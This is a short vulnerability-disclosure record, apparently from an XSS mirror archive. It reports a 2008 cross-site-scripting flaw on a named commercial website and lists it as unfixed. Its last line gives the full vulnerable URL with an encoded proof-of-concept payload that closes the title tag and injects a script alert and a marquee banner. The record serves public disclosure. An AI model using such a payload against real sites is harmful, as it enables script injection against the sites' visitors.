Security researcher xylitol, has submitted on 03/09/2008 a cross-site-scripting (XSS) vulnerability affecting www.avanquest.com, which at the time of submission ranked 11396 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 24/09/2008. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail.
Vulnerable URL: http://www.avanquest.com/France/newsletter.html?subscribe=%27%22%3E%3C%2Ftitle%3E%3Cscript%3Ealert(1337)%3C%2Fscript%3E%3E%3Cmarquee%3E%3Ch1%3EXSS+by+Xylitol%3C%2Fh1%3E%3C%2Fmarquee%3E&formsubmit=1